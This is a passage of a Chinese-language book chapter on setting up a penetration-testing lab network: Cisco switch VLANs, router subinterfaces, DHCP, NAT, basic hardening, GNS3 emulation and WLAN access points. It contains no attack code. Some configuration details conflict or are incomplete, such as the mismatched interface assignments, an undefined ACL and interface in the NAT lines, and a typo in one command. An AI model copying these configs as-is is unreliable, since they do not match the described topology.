开发的网络拓扑结合了构建真实企业网络所用的原则,以及足够的复杂性,以便练习各种类型的渗透测试技术。它适用于家庭实验室,也适用于企业网络。

在下一章中,我们将根据我们的拓扑结构实际开始构建实验室网络,并向您展示如何安装和配置网络设备。

第三章 配置网络实验室组件

我们已经在搭建实验室的准备工作上花费了足够的时间,现在终于是实际开始搭建的时候了。

在本章中,我们将展示如何配置硬件和虚拟网络设备,以便搭建实验室的两种选择,您可以轻松选择最适合您需求的方案。

本章包括以下主题:

  • 通用实验室网络通信规则

  • 配置硬件有线设备

  • 配置虚拟有线网络设备

  • 配置 WLAN

通用实验室网络通信规则

网络图是表示网络拓扑结构及其架构的一个非常方便的方式。几乎所有的小型或家庭办公室SOHO)和企业网络都广泛使用这种表示方式。但这种表示通常缺少一个逻辑层,无法更好地理解网络组件如何交互以及网络流量的流向。在图示中展示这些内容并不容易,因此网络工程师通常使用大量文档来实现这一目的,主要是结合表格、流程图和网络图。

但由于我们有一个非常简单的网络图,并且对网络流量的流动方向有非常直观的理解,我们可以尝试将其作为一个附加层描绘在我们的网络图中,如下图所示:

通用实验室网络通信规则

包含逻辑层的网络图

为了扩展图示并更好地解释目标访问规则,下面表格中展示了关于允许访问的附加信息:

来源 允许的目标 目的
管理员工作站
  • 所有网络设备

  • 所有服务器

  • 所有用户工作站

  • 互联网(外部网络)

网络和系统管理
服务器
  • 互联网(外部网络)
软件安装和更新
用户工作站
  • 互联网(外部网络)

  • 服务器

互联网访问,访问内部网络服务
受信 WLAN
  • 互联网(外部网络)

  • 服务器

互联网访问,访问内部网络服务
客户 WLAN
  • 互联网(外部网络)
互联网访问

我们不希望任何外部网络或客户 WLAN 访问我们的实验室网络,因此我们不允许此类访问。同时,用户子网和受信 WLAN 以及服务器子网之间也无需访问,因此我们不允许它。最后的规则是,只有管理员才能访问网络设备上的任何服务;因此,我们不允许其他实验室组件访问这些服务。

配置硬件有线设备

所以,理论部分已经足够了。现在让我们进行一些实践,最终配置网络设备。

我们将通过控制台端口使用一种特殊的控制台电缆来配置路由器和交换机,在我们这个例子中,电缆一端是 RJ-45 连接器,另一端是 DB-9 连接器。现代计算机上很难找到 DB-9 端口,因此我们需要一个 DB-9 到 USB 的适配器电缆,以便将其连接到 USB 端口。你可以在以下来自 Cisco 网站的图片中看到这种电缆和适配器的示例:

配置硬件有线设备

Cisco 控制台电缆

配置硬件有线设备

DB-9 到 USB 适配器

提示

你可能需要安装特殊的驱动程序来使用适配器,因此请检查适配器的用户手册。

另外,你可以购买带有 RJ-45 和 USB 接口的控制台电缆,例如在 eBay 上(www.ebay.com/):

配置硬件有线设备

RJ-45 到 USB 控制台电缆

我们还需要一个终端软件,以便通过控制台端口与设备进行通信。在 Linux 或 MAC OS X 上,你可以通过其控制台端口与 Cisco 设备进行通信,例如使用“screen”软件。你只需要在连接电缆后,通过 dmesg 命令找到接口名称,并将其作为参数传递给 screen 工具:

**dmesg |grep tty**

在我们的例子中,我们可以看到以下信息,其中包含接口名称:

**[31043.758232] usb 1-2: pl2303 converter now attached to ttyUSB0**

现在,我们使用这个名称和screen

**screen /dev/ttyUSB0**

我们可以与设备的控制台端口进行通信。

在 Windows 上,你可以使用免费的 PuTTY 软件。我们将展示这种连接方式,但所有进一步的设备配置步骤是相同的,无论你使用什么操作系统与设备进行通信。

注意

我们不会为每个配置步骤提供详细的解释,因为我们的目标不是教你网络设备管理,而是让你得到一个可用的实例来执行实验任务。你可以通过在终端中使用命令名称后加上 ? 符号,获取任何 Cisco 命令的帮助信息,例如,show ?

在 Windows 上准备控制台连接

准备 Windows 控制台连接的第一步是确定要与 PuTTY 软件一起使用的串口号。为此,你需要打开设备并将其控制台端口连接到计算机的 USB 端口之一。控制台端口会有相应的标记或指示。不要混淆,将控制台电缆连接到路由器的其他 RJ-45 端口——这样是无法工作的。

如果你使用的是较新的设备型号,它们可能配有 USB 控制台端口,你可以用 USB 电缆(A 型到迷你 B 型)将其连接到计算机的任何 USB 端口。为了能够通过这根电缆进行通信,你需要安装 Cisco USB 控制台驱动程序,可以在 Cisco 官方网站找到。

连接控制台电缆并打开设备后,在 Windows 中打开 设备管理器,在设备树中找到 COM 和 LPT 端口。在此分支下,您可以找到一个 USB 到串口设备,并从中获取一个 COM 端口号:

在 Windows 上准备控制台连接

获取 COM 端口号

现在我们知道了 COM 端口号,我们可以打开 PuTTY 并将 连接类型 设置为 串行,将 串行线 设置为正确的 COM 端口,我们这里是 COM3

在 Windows 上准备控制台连接

获取 COM 端口号

现在,我们已经准备好连接并与您的设备通信。

提示

您还可以保存此连接,这样您就不需要每次想使用设备控制台时都进行配置。

注意

在您的实验网络中工作期间,您可能会遇到一些配置挑战。是的,我们在本书中提供了非常详细的手册,但正如通常在异构的 IT 环境中发生的那样,仅仅按步骤手册配置某些严肃的东西是不太可能的。总会有一些事情不能正常工作或者不按您所期望的方式工作。造成这种情况的原因可能有很多,比如不同的软件版本或不同的硬件,因此您不应害怕在互联网上查找解决方案。我们建议您应该珍惜这样的学习机会,深入了解您的环境。

要解决实验安装和维护过程中的任何挑战,您需要使用两个重要的 IOS 命令:logging buffereddebug

您还可以从 Cisco 网站下载并阅读官方的 Cisco IOS 配置基础命令参考 作为参考资料。

核心交换机

让我们从安装和配置交换机开始,它将作为我们网络的核心,并在实验组件之间提供基本连接。

我们的交换机有 12 个端口,我们首先需要确定端口布局。我们需要一个物理接口用于连接外部不受信任网络,一个物理接口用于路由器连接,一个物理接口用于管理工作站,三个用户接口,四个服务器接口和一个接入点接口用于建立受信任的 WLAN。让我们在以下表格中总结一下:

接口 连接
fa0/1 路由器
fa0/2 外部路由器(网络)
fa0/3 管理工作站
fa0/4-fa0/6 用户子网
fa0/7-fa0/10 服务器子网
fa0/11 受信任的 WLAN

现在您知道在哪里连接什么之后,您可以开始将路由器连接到我们的交换机并执行初始交换机配置。

初始配置

如果你使用的是虚拟或新的网络设备,初始配置可能仅限于设置主机名,使用命令hostname。但如果你使用的是旧设备(如果你用于实验室,这种情况非常可能),可能会有旧的配置被保存,而这些配置显然是不需要的。为了避免无意中启用或禁用任何不安全的功能,作为首次配置的第一步,我们将删除当前配置并将操作系统恢复到出厂设置。

设备配置可能会被之前的拥有者设置了密码,而你可能不知道这些密码。在这种情况下,你可以使用硬件开关将设备恢复到出厂设置。这样的开关通常看起来像一个带有“mode”标志的按钮。你需要按住它一段时间才能生效。有关特定设备配置手册,请参考思科官网。

为此,连接到设备控制台,首先通过输入以下命令进入特权命令模式:

**enable**

你会看到你的命令提示符以#符号结尾,这意味着你现在处于特权模式。现在,我们需要通过以下命令启动配置终端模式:

**config t**

现在,使用以下命令擦除旧配置并恢复为空白配置:

**erase startup-config**
**reload**

重新加载操作系统将需要一些时间。如果你有一根电缆连接到设备的以太网端口,交换机会尝试通过多播消息发送到 255.255.255.255 来从 TFTP 服务器加载配置镜像。很可能,你没有可访问的 TFTP 服务器,因此你会在控制台看到类似于以下的错误消息:

%Error opening tftp://255.255.255.255/network-confg (Timed out)

重新加载设备后,应该会出现启动初始配置对话框的提示。如果你不确定自己在做什么,我们不建议使用它,以避免你的配置与我们的配置有所不同。但如果你想使用它,只需回答“是”或在对话框未出现时从特权模式下运行命令setup。此对话框将通过简单的问题引导你完成初始配置。以下是思科官方文档中的一段话:

如果你在使用设置命令时出错,你可以退出并重新运行设置命令。按 Ctrl-C,并在特权 EXEC 模式提示符下输入设置命令。

为了完成我们的初步配置,请使用以下命令为核心交换机设置主机名:

**enable**
**config t**
**hostname sw**

这里,sw是你为设备选择的名称。当然,你可以选择任何你喜欢的名称,但我们建议使用本书中提供的名称,以避免以后可能的混淆。

配置接口和 VLAN

作为下一步,让我们配置交换机的接口和虚拟局域网,以便将我们的实验室子网在逻辑上彼此隔离。

首先,我们需要确定一个 VLAN 与接口的布局,并为其分配 VLAN 号码和名称,如下表所示:

接口 模式 VLAN 号码 VLAN 名称
fa0/1 干道 - -
fa0/2 接入 5 外部
fa0/3 接入 1 默认
fa0/4-fa0/6 接入 3 用户
fa0/7-fa0/11 接入 2 服务器
fa0/12 接入 4 受信任的无线局域网

注意

在思科网络中,干道模式允许端口传输设备上任何可访问的 VLAN 的流量,而接入模式则只传输分配给该端口的单一 VLAN 的流量。

现在,让我们将其作为交换机配置来实现。

如果你还没有进入特权模式和配置模式,可以按顺序输入相应命令,然后使用以下控制台命令定义你的 VLAN 号码和名称:

**vlan 2**
 **name servers**
**!**
**vlan 3**
 **name users**
**!**
**vlan 4** 
 **name trusted_wlan**
**!**
**vlan 5**
 **name external_network**

定义 VLAN 之后,我们需要将接口设置为正确的模式,给它们添加描述,分配 VLAN 号码,并开启接口。我们可以使用以下命令实现:

**interface fa0/1**
 **switchport mode trunk**
 **description router trunk**
 **no shutdown**
**!**
**interface fa0/2**
 **switchport mode access**
 **switchport access vlan 5**
 **description external network**
 **no shutdown**
**!**
**interface fa0/3**
 **switchport mode access**
 **switchport access vlan 1**
 **no shutdown**
**!**
**interface fa0/4**
 **switchport mode access**
 **switchport access vlan 3**
 **no shutdown**
**!**
**interface fa0/5**
 **switchport mode access**
 **switchport access vlan 3**
 **no shutdown**
**!**
**interface fa0/6**
 **switchport mode access**
 **switchport access vlan 3**
 **no shutdown**
**!**
**interface fa0/7**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/8**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/9**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/10**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/11**
 **switchport mode access**
 **switchport access vlan 2**
 **description IDS**
 **no shutdown**
**!**
**interface fa0/12**
 **switchport mode access**
 **switchport access vlan 4**
 **description Trusted WLAN**
 **no shutdown**
**exit**

提示

如果你不小心设置了错误的接口配置,可以通过在相同命令前加上no来轻松删除它们。例如,考虑以下命令:

**switchport mode access**

可以通过以下命令取消配置:

**no switchport mode access**

一旦你配置了 VLAN,你可以使用命令 show vlanshow interfaces 来查看你的配置。要查看整个配置,使用命令 show running-config

提示

玩转 show 命令:输入 show ?,并尝试从显示的列表中选择各种命令,以查看不同的配置参数。

此时,我们已经有了一个基本的工作配置,可以将其他实验室组件连接到核心交换机,但由于我们正在搭建一个安全的实验室,建议在此之前进行一些基本的加固。

加固核心交换机的主要目的是:保护我们的实验室免受外部恶意活动,并为练习高级攻击技术做准备。我们将向你展示一些基本的加固步骤,但建议你进一步参考思科官网提供的正式的 IOS 设备加固指南:

www.cisco.com/c/en/us/support/docs/ip/access-lists/13608-21.html

我们通过在配置模式(config t)中使用以下命令设置特权模式密码来开始加固:

**enable secret 0 secret_password**

你可以将 secret_password 更改为你想要的密码。

接下来,我们需要在连接到外部网络的接口(fa0/2)上禁用思科发现协议CDP):

**interface fa0/2**
 **no cdp enable**

这将限制关于我们网络设备的信息广播到外部的不受信任网络。

为了保存新的配置并防止其在重启设备后被删除,我们需要将运行配置复制到启动配置:

**copy running-config startup-config**

现在,我们已经搭建了一个功能齐全的实验室网络核心,接下来可以开始配置我们的路由器。

加固核心交换机

我们的网关(同时也是我们的核心路由器)应该在子网之间进行路由,使得实验室组件能够互相通信。它还应该为用户子网和受信 WLAN 提供 DHCP 服务,并为互联网(外部网络)访问执行多对一的网络地址转换(NAT)。

和所有网络设备一样,我们将从初始配置开始。这与我们为核心交换机所做的配置类似。在这种情况下,我们只需要使用以太网电缆将路由器的端口fa0/0与交换机的端口fa0/1连接,恢复路由器的配置为空白,并设置主机名gw

**enable**
**config t**
**erase startup-config**
**reload**
**enable**
**config t**
**hostname gw**

提示

你可以使用与核心交换机相同的命令保存配置:copy running-config startup-config

此时,我们已经准备好配置路由器的主要功能所需的先决条件:子接口和子网。

配置子接口和子网

在我们的实验室中,我们正在实现“路由器在一个接口”方案,以便所有内部子网都通过一个 FastEthernet 路由器接口提供服务。为此,我们需要为网络中的每个 VLAN 创建fa0/0接口的子接口,并为它们分配 IP 地址。网关将在每个子网中具有最后一个八位字节等于 1 的 IP 地址:

**interface fa0/0.1**
 **encapsulation dot1Q 1**
 **ip address 10.1.0.1 255.255.255.0**
**!**
**interface fa0/0.2**
 **encapsulation dot1Q 2**
 **ip address 10.0.0.1 255.255.255.0**
**!**
**interface fa0/0.3**
 **encapsulation dot1Q 3**
 **ip address 172.16.0.1 255.255.255.0**
**!**
**interface fa0/0.4**
 **encapsulation dot1Q 4**
 **ip address 172.16.1.1 255.255.255.0**

注意

当我们进入接口配置模式(输入命令interface f...后),我们需要首先设置封装模式,只有在此之后才设置 IP 地址和子网掩码,否则会出现错误。

完成子接口配置后,让我们激活父接口以激活所有子接口:

**interface fa0/0**
 **no shutdown**

现在,我们可以输入命令end退出配置模式,然后通过输入以下命令来检查我们的结果接口配置:

**show ip interface brief**

我们应该看到类似这样的列表:

配置子接口和子网

终端窗口中的接口状态

我们可以从之前的列表中看到所有子接口以及它们的新 IP 地址和状态。

配置辅助服务

配置完路由器的子接口后,是时候为我们的用户子网和受信 WLAN 设置 DHCP 服务器了:

**ip dhcp pool users**
 **network 172.16.0.0 255.255.255.0**
 **dns-server 172.16.0.1 8.8.8.8**
 **default-router 172.16.0.1**
**!**
**ip dhcp pool trusted**
 **network 172.16.1.0 255.255.255.0**
 **dns-server 172.16.1.1 8.8.8.8**
 **default-router 172.16.1.1**

接下来,让我们在网关上配置 NAT,以便实验室网络组件可以访问外部网络,以便下载软件更新、DNS 解析、电子邮件交换等。

首先,我们需要确定内外 NAT 接口。我们希望仅为我们的用户、管理员和服务器提供 Internet 访问,即 VLANs 1 至 4 以及路由器的子接口fa0/0.1fa0/0.2fa0/0.3fa0/0.4。这些是我们的内部接口:

**interface fa0/0.1**
 **ip nat inside**
**!**
**interface fa0/0.2**
 **ip nat inside**
**!**
**interface fa0/0.3**
 **ip nat inside**
**!**
**interface fa0/0.4**
 **ip nat inside**

外部接口是连接到外部网络的接口,在我们的情况下是fa0/0.5。该接口通过 DHCP 从外部授权机构获取其 IP 地址:

**interface fa0/0.5**
 **ip address dhcp**
 **ip nat outside**
 **ip nat inside source list 102 interface Ethernet1 overload** 

 **ip classless**
 **ip route 0.0.0.0 0.0.0.0 192.168.0.1**

提示

如果你在 NAT 配置中遇到问题,可以通过命令 debug ip nat 激活 NAT 调试模式,以便追踪问题源并解决它。

此外,命令 show ip nat translations 也可以提供帮助。

接下来,让我们在网关上配置 DNS 服务。我们将启用 DNS 角色并设置 Google 的 DNS 服务器,IP 地址为 8.8.8.8,作为我们的外部名称服务器。如果你在公司网络中构建实验室,可以使用公司 DNS 服务器的 IP 地址。

DNS 角色配置可以分为两步:

  1. 在配置模式下启用路由器上的角色,并允许域名查找,使用以下命令:

    **gw(config)# ip dns server**
    **gw(config)# ip domain-lookup**
    
    
  2. 分配上游名称服务器,供我们的路由器获取 DNS 请求的互联网信息(插入你首选的命名服务器的 IP 地址,或使用相同命令添加其他服务器):

    **gw(config)# ip name-server 8.8.8.8**
    
    

提示

如果你想为服务器或实验室网络中的其他主机分配域名,以便通过名称而非 IP 地址来访问它们,可以使用以下附加命令为每个主机配置(根据需要更改名称和 IP 地址):gw(config)# ip host admin 10.1.0.30

基本网关加固

路由器负责控制我们实验室与外部不可信网络之间的通信,该路由器被分配到 VLAN 5 并配置在子接口 fa0/0.5 上。因此,我们必须对路由器和该接口进行一些加固。作为路由器级的安全特性,我们将使用访问控制列表ACL)(稍后我们将在第五章,实施安全中讨论)和特权模式的密码保护:

**enable secret 0 secret_password**

接下来,让我们通过禁用不必要的、潜在危险的服务来加固外部连接子接口 fa0/0.5 的安全性。进入该接口的配置模式:

**config tinterface fa0/0.5**

让我们禁用 CDP 和 HSRP,以减少设备暴露给不可信子网的攻击面和信息泄露,并输入以下命令:

**no cdp enable**
**no standby**
**no vrrp**

第一条命令显式禁用 CDP,它可能会将设备的有价值信息广播到不可信的网络。

第二条和第三条命令显式禁用 热备份路由协议HSRP)和 虚拟路由器冗余协议VRRP),这些协议可能被用来进行来自不可信网络的攻击。

作为路由器配置的最后一步,保存更改,以防丢失设置:

**copy running-config startup-config**

配置虚拟有线网络设备

现在,让我们考虑如何使用虚拟设备来实现我们的实验室网络。逻辑拓扑将与之前描述的网络拓扑完全相同(在硬件设备上实现),并且具有相同的寻址。主要资源将部署在单主机高性能计算机上的虚拟机中。对于虚拟化资源,我们将使用免费的跨平台软件 GNS3 和 VirtualBox。

首先,我们需要一台高性能的计算机,并且操作系统正确。在我们的案例中,它将是一台配备 i7 x64 处理器、8 GB 内存,运行 Windows 8.1 操作系统的笔记本电脑。

网络虚拟化平台

图形网络模拟器GNS3)是一个用于实验、测试、演示和学习网络技术的平台。GNS3 是一个跨平台工具,支持 Windows、Linux 和 Mac OS X。它具有便捷的图形界面,本质上是 Dynamips 的图形用户界面。Dynamips 是一个思科路由器的软件模拟器,它允许我们模拟路由器的硬件,加载并与思科 IOS 的真实镜像交互。Dynamips 支持以下平台:

  • 1700(1710-1760)

  • 2600(2610-2650 XM)

  • 2691

  • 3600(3620, 3640, 3660)

  • 3725

  • 3745

  • 7200(从 NPE-100 到 NPE-G1)

作为一个虚拟化平台,GNS 存在一些缺点。最关键的限制如下:

  • 对 CPU 和内存的要求很高:10 个路由器会严重加载 PC。CPU 使用率可以通过“空闲 PC”机制降低,稍后在网络拓扑实现部分会详细描述。

  • L2 支持较弱:没有完全的网络交换机仿真,仅支持路由器。但可以设置接入/中继端口,并且可以配置具有有限 L2 功能的路由器交换模块。

但尽管存在这些限制,仍然可以在 GNS 引擎上构建测试实验室。

由于 GNS 是一个虚拟路由器,它需要一个思科 IOS(或其他)路由器操作系统的镜像才能运行。如果你有必要权限的 Cisco 账号,可以从 Cisco 网站获取 IOS 镜像,或者你也可以从互联网下载。另一种选择是从相关硬件设备上下载镜像,如果你有访问权限的话。

软件安装

首先,我们需要从官方网站www.gns3.com/下载当前版本的 GNS3,并完成简单的注册程序。下载安装文件后(文件名应类似于GNS3-1.4.4-all-in-one.exe),只需运行该文件。安装过程非常简单。该过程通常包括欢迎屏幕、许可证协议窗口,以及最后将要安装的组件清单。GNS3 安装包包含了一套必要的第三方软件,如果你是全新安装,可以保留所有的默认选项。如果某些组件已经安装,你可以取消勾选那些组件:

软件安装

GNS3 组件

点击下一步按钮几次后,我们将拥有一个正常工作的网络虚拟化平台。

在我们的案例中,我们使用的是 Microsoft Windows 8.1 作为宿主操作系统,因此安装过程按照所述流程进行。但 GNS3 是一个跨平台软件,因此你也可以在 Linux 系统上使用它,尽管安装过程不同,但同样简单。例如,GNS3 在 Ubuntu 或 Debian 的仓库中可用,只需执行以下命令即可安装:

**sudo apt-get install gns3**

注意

如果你想在 Mac OS X 上安装 GNS3,可以在官方网站找到详细的安装指南:gns3.com/support/docs/quick-start-guide-for-mac-users

初始配置

现在是启动和配置虚拟化平台的时候了。为此,让我们在桌面上找到 GNS3 的快捷方式并执行它。当应用程序启动时,系统会提示你保存一个新项目。

输入项目名称后,应用程序将打开我们的虚拟环境工作用户界面:

初始配置

GNS3 用户界面

要设置程序,让我们进入编辑 | 首选项。现在,我们可以根据自己的需要配置工作环境。在常规标签页中,我们可以选择保存工作文件的路径、界面的样式和显示设置,最重要的是此标签页中的控制台仿真软件及其设置。但由于我们使用的是 Microsoft Windows 作为宿主操作系统,我们保持默认设置(PuTTY)。在服务器标签页中,我们可以更改 GNS3 的服务器组件参数,例如远程服务器的连接参数。但在这一步,我们保持默认设置。在数据包捕获标签页中,我们可以配置与网络流量分析器的连接。在VPCS标签页中,我们可以选择如何使用主机存根。主机存根可以用来验证网络架构(例如,pingtracert等)。默认应用程序随 GNS3 一起安装。在这里,我们可以保留默认设置。在VirtualBox标签页中,我们应设置 VirtualBox 管理应用程序(VBoxManage.exe)的路径。在我们的实验中,我们不会使用IOS on UnixQEMU标签页,因此我们也不做更改。

我们现在需要做的是将 Cisco IOS 镜像添加到已使用设备列表中(如果我们已经获取了 IOS 镜像)。这可以在Dynamips选项卡中完成。在这一步,我们需要创建两个虚拟设备:交换机和网关。点击新建按钮后,将启动虚拟设备创建向导。开始时,我们需要输入 IOS 镜像文件的路径。之后,镜像文件将被解压,接着会出现一系列关于设备的问题。平台的规格应自动识别。RAM 应保持默认值。在网络适配器页面中,您应选择将要使用的适配器及其插槽。

对于虚拟交换机设备,我们应该选择交换网络适配器。在 GNS3 中,它是 NM-16ESW。在我们的案例中,我们使用插槽 0。您可以选择其他插槽,但我们建议使用与之前描述的硬件配置一致的插槽。对于虚拟网关设备,我们应该选择带有 1 个端口的接口,例如 NM-1FE-TX,并将其放入插槽 0。

最后需要处理的是空闲 PC值;在这一步,保持该字段为空:

初始配置

虚拟 IOS 设备

所以,经过这些操作后,我们将在可用设备列表中看到两个虚拟的 Cisco IOS 实例。

网络拓扑实现

接下来,让我们在 GNS3 工作区中实现我们的网络拓扑。设计网络图的过程类似于其他任何设计系统:选择设备图标并将其拖到工作区中。然后,使用添加连接工具将设备的网络接口相互连接。

在我们的案例中,结果类似于以下截图:

网络拓扑实现

网络拓扑图

现在,我们使用存根VPCS作为主机。交换机和路由器是我们之前基于 Dynamips 的 IOS 镜像创建的 Cisco IOS 设备。与 SOHO 路由器和硬件 AP 的连接,我们使用一个叫做Cloud的工具。

为了与之前描述的硬件配置一致,接口之间的连接应如下所示:

功能组 连接类型 设备 接口
服务器 Ethernet0 SW F0/7F0/10
用户主机 Ethernet0 SW F0/4F0/6
管理 Ethernet0 SW F0/3
Cloud nio_gen_eth:Ethernet SW F0/2
GW FastEthernet0/0 SW F0/1

在将所有组件放入项目工作区后,我们需要填写 IOS 设备的 Idle PC 字段。Idle PC 参数可以显著降低 CPU 使用率,但只有在设备运行时才能更改。因此,我们需要通过点击主窗口工具栏上的 Start devices 按钮,或通过点击设备上下文菜单中的 Start 项目来启动这些网络设备。对于每个 IOS 设备,我们需要在上下文菜单中选择 Idle PC 项目,在弹出的对话框中选择标有星号的值。

交换机

与设备的交互通过控制台进行。为此,我们只需要右键点击项目工作区中的设备图标,并从上下文菜单中选择 Console。之后,终端仿真器将启动并建立连接。

所以,让我们为我们的核心交换机创建配置。首先,我们设置主机名:

**config t**
 **hostname sw**
 **exit**

然后我们创建 VLAN:

**vlan database**
 **vlan 2 name servers**
 **vlan 3 name users**
 **vlan 4 name trusted_wlan**
 **vlan 5 name external_network**
 **exit**

在下一步中,我们设置接口,设置一个连接到路由器的中继端口,并为网络主机设置接入端口:

**config t**
**!**
**interface fa0/1**
 **switchport mode trunk**
 **description router trunk**
 **no shutdown**
**!**
**interface fa0/2**
 **switchport mode access**
 **switchport access vlan 5**
 **description external network**
 **no shutdown**
**!**
**interface fa0/3**
 **switchport mode access**
 **switchport access vlan 1**
 **no shutdown**
**!**
**interface fa0/4**
 **switchport mode access**
 **switchport access vlan 3**
 **no shutdown**
**!**
**interface fa0/5**
 **switchport mode access**
 **switchport access vlan 3**
 **no shutdown**
**!**
**interface fa0/6**
 **switchport mode access**
 **switchport access vlan 3**
 **no shutdown**
**!**
**interface fa0/7**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/8**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/9**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/10**
 **switchport mode access**
 **switchport access vlan 2**
 **no shutdown**
**!**
**interface fa0/11**
 **switchport mode access**
 **switchport access vlan 2**
 **description IDS**
 **no shutdown**
**!**
**interface fa0/12**
 **switchport mode access**
 **switchport access vlan 4**
 **description Trusted WLAN**
 **no shutdown**
**exit**

如你所见,虚拟网络设备的操作与硬件配置的操作相对应;物理设备连接方式略有不同。

如果你使用虚拟网络设备,像硬件设备那样对其进行适当的加固并不是那么重要。

网关

配置硬件和虚拟设备没有显著差异;因此,我们采取与硬件配置相同的方式:

**interface fa0/0.1**
 **encapsulation dot1Q 1**
 **ip address 10.1.0.1 255.255.255.0**
**!**
**interface fa0/0.2**
 **encapsulation dot1Q 2**
 **ip address 10.0.0.1 255.255.255.0**
**!**
**interface fa0/0.3**
 **encapsulation dot1Q 3**
 **ip address 172.16.0.1 255.255.255.0**
**!**
**interface fa0/0.4**
 **encapsulation dot1Q 4**
 **ip address 172.16.1.1 255.255.255.0**

**interface fa0/0**
 **no shutdown**

**ip dhcp pool users**
 **network 172.16.0.0 255.255.255.0**
 **dns-server 172.16.0.1 8.8.8.8**
 **default-router 172.16.0.1**
**!**
**ip dhcp pool trusted**
 **network 172.16.1.0 255.255.255.0**
 **dns-server 172.16.1.1 8.8.8.8**
 **default-router 172.16.1.1**

**!interface fa0/0.1**
 **ip nat inside**
**!**
**interface fa0/0.2**
 **ip nat inside**
**!**
**interface fa0/0.3**
 **ip nat inside**
**!**
**interface fa0/0.4**
 **ip nat inside**
**!**
**interface fa0/0.5**
 **ip address dhcp**
 **ip nat outside**
 **ip nat inside source list 102 interface Ethernet1 overload** 

 **ip classless**
 **ip route 0.0.0.0 0.0.0.0 192.168.0.1**

虚拟主机仿真

现在,我们需要检查虚拟网络与主机仿真器的工作状态。我们将在下一章向你展示如何将 VirtualBox 虚拟机连接到虚拟网络,但目前仿真器的功能已足够用于测试目的。

这种仿真器已经由 GNS 提供;它们是 VPCS 类型的桩设备。这些虚拟设备允许我们执行基于 IP 连接的基本操作(ICMP ping 和 TCP/UDP 连接)。与这些设备的交互通过控制台进行,并通过手动输入命令来实现。在我们的案例中,要在设备控制台中设置地址,我们只需要输入一个命令:

**ip dhcp**

当然,我们可以在设备控制台输入命令时使用静态地址:

**ip 10.0.0.101 255.255.255.0 10.0.0.1**

其中:

  • 10.0.0.101 是主机地址

  • 255.255.255.0 是网络掩码

  • 10.0.0.1 是网关地址

为了测试网络连接性和可操作性,我们可以使用基于 ICMP 的命令 pingtracert

**ping 10.0.0.1**
**tracert 10.0.0.1**

注意

使用 GNS,我们还可以轻松捕获网络流量,例如使用 Wireshark。

你需要做以下操作:

  1. 右键点击两个设备之间的链接。

  2. 从上下文菜单中选择 Capture 项。

  3. 之后,Wireshark 将启动(或者启动在 GNS3 偏好设置的 Packet capture 标签中设置的其他应用程序)。

在 Wireshark 窗口中,我们将看到所有被拦截的数据包。

无线硬件设备

我们无法虚拟化的唯一类型的网络设备是无线接入点。因此,我们将使用物理网络设备。就像硬件配置的情况一样,它将是一个接入点和一个 SOHO 路由器。

为了与外部世界进行交互,GNS3 提供了一个工具Cloud,它是 GNS3 虚拟基础设施与主机计算机网络适配器之间的内置连接器。

如果你的主机计算机有两个以太网适配器,你可以使用两个云来连接每个物理设备。但如果你的主机是笔记本电脑,像我们这种情况,你可以使用一个以太网适配器连接到 SOHO 路由器,并将主机的无线适配器用作接入点,而不是硬件接入点。

如果你只有一个以太网适配器,并且仍然不想使用主机的无线适配器,你有两个选择:

  • 在硬件设备之间手动切换(AP 和 SOHO 路由器)

  • 准备一个额外的虚拟机,带有软件 AP 和一个通过 VirtualBox 的 USB 转发功能连接到它的 USB Wi-Fi 接口(我们简要介绍如何安装必要的软件并在第七章,准备无线渗透测试平台中实现这样的场景)

现在,让我们看看如何将主机计算机的网络适配器连接到我们的虚拟基础设施。

右键点击Cloud工具的图标,通过从上下文菜单中选择Configure打开Cloud的配置窗口。在配置窗口中,我们应该在Ethernet NIO字段中指定我们要使用的网络适配器,路径是Cloud | Ethernet。之后,点击Add按钮。

无线硬件设备

云配置窗口

现在,Cloud已经配置完成。相当简单,不是吗?

配置 WLAN

现在,让我们考虑作为测试基础设施的一部分创建一个无线网络。根据我们拥有的资源,我们可以使用三种技术来创建无线网络:

  • 基于 SOHO 路由器的客户端 WLAN

  • 基于硬件接入点的可信 WLAN

  • 基于软件接入点的可信 WLAN

每种技术都有其特点(优点和缺点),并提供了多个选择。我们将涵盖这三种选择。

客户端 WLAN

由于我们的客户端 WLAN 是基于 SOHO 路由器的,接下来我们将在这里讨论有线和无线配置,以构建一个客户端 WLAN,并为整个实验室网络提供互联网访问(外部网络)。

所有现代 SOHO 路由器(如华硕、Linksys 和 D-Link)提供几乎相同的功能、配置选项和模式,无论型号如何。因此,我们不会提供关于在特定路由器型号的网页界面上点击什么和输入什么的逐步说明(特别是因为对于 IT 专家来说,这没有任何意义)。不过,我们将提供某些设置,以确保我们与读者的网络配置一致,且在后续章节中不会出现兼容性问题。

如果 LAN 网络的 DHCP 服务器角色尚未启用,请启用它,并设置以下配置:

设置项
LAN IP 地址 192.168.0.2
DHCP IP 池开始 192.168.0.3
DHCP IP 池结束 192.168.0.20

现在,在 SOHO 路由器上配置 WLAN 设置,并将你的访客 WLAN 名称(SSID)设置为你喜欢的任何名称(我们将其命名为Guest),将保护类型设置为 WPA2,并设置一个强密码(我们假设作为安全专家,你知道什么构成强密码,因此我们在这里不讨论密码规则)。

作为 SOHO 路由器配置的最后步骤,重启路由器,连接任何客户端设备到访客 WLAN,并测试互联网连接。

准备硬件接入点

让我们继续安装和配置硬件接入点。现在,我们可以直接通过 COM 端口连接到接入点设备,并按照这里提供的说明操作。由于我们使用的是同一制造商的设备,并且在相同的软件平台上工作,配置过程与我们之前的任务非常相似。当然,配置接入点有其自身的细节,我们将现在简要说明。首先,进入特权模式:

**enable**
**conf t**

为我们的设备设置一个主机名:

**hostname TrustedWiFiAP**

限制设备访问(仅本地访问级别):

 **line vty 0 4**
 **login local**
 **exit**
 **line console 0**
 **login local**
 **exit**

接下来,我们将为特权模式设置密码:

**enable secret 0 secret_password**

最后,我们应配置一个桥接网络接口,以便使受信任的 WLAN 能够与我们实验室的其他基础设施通信:

 **interface bv1**
 **ip address 172.16.1.2 255.255.255.0**
 **exit**
 **ip default-gateway 172.16.1.1**

